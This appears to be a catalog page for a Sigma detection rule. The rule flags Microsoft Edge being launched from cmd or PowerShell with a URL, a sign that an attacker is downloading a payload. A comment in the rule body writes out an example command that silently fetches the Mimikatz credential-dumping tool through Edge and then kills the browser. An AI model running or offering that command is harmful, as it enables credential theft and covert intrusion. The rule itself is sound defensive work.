Detection rules › Sigma

Edge abuse for payload download via console

Status
experimental
Severity
high
Log source
product windows, category process_creation
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker attemptes to download a payload directly via console.

MITRE ATT&CK coverage

TacticTechniques
ExecutionT1204 User Execution

Event coverage

Rule body yaml

title: Edge abuse for payload download via console
description: Detects scenarios where an attacker attemptes to download a payload directly via console.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0002-Execution/T1204-User%20execution
- https://twitter.com/mrd0x/status/1478116126005641220?t=i4vTR5m1ocBY6oHZfjdn1Q&s=09
tags:
- attack.execution
- attack.t1204
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection: # start /min msedge.exe https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip && timeout 10 && taskkill /IM "msedge.exe" /F
    EventID: 4688
    Version: 2 # parent process name is available starting Windows 10 / Server 2016 and higher
    ParentProcessName|endswith:
      - \cmd.exe
      - \powershell.exe
      - \pwsh.exe # PowerShell v6
      - \powershell_ise.exe # Development GUI
    NewProcessName|endswith: \msedge.exe
    CommandLine|contains:
      - 'http://'
      - 'https://'
      - 'ftp://'
      - 'www.'
  condition: selection
falsepositives:
- Shortcuts to website (--pin-url)
- Websites launched from console
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  EventID: 4688
  Version: 2
  ParentProcessName|endswith:
    - \cmd.exe
    - \powershell.exe
    - \pwsh.exe
    - \powershell_ise.exe
  NewProcessName|endswith: \msedge.exe
  CommandLine|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'
    - 'www.'

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

FieldKindValues
CommandLinematch
  • ftp:// corpus 12 (sigma 11, elastic 1)
  • http:// corpus 21 (sigma 18, elastic 1, splunk 1, kusto 1)
  • https:// corpus 21 (sigma 18, elastic 1, splunk 1, kusto 1)
  • www.
NewProcessNameends_with
  • \msedge.exe corpus 14 (sigma 14)
ParentProcessNameends_with
  • \cmd.exe
  • \powershell.exe
  • \powershell_ise.exe
  • \pwsh.exe
Versioneq
  • 2 corpus 7 (sigma 7)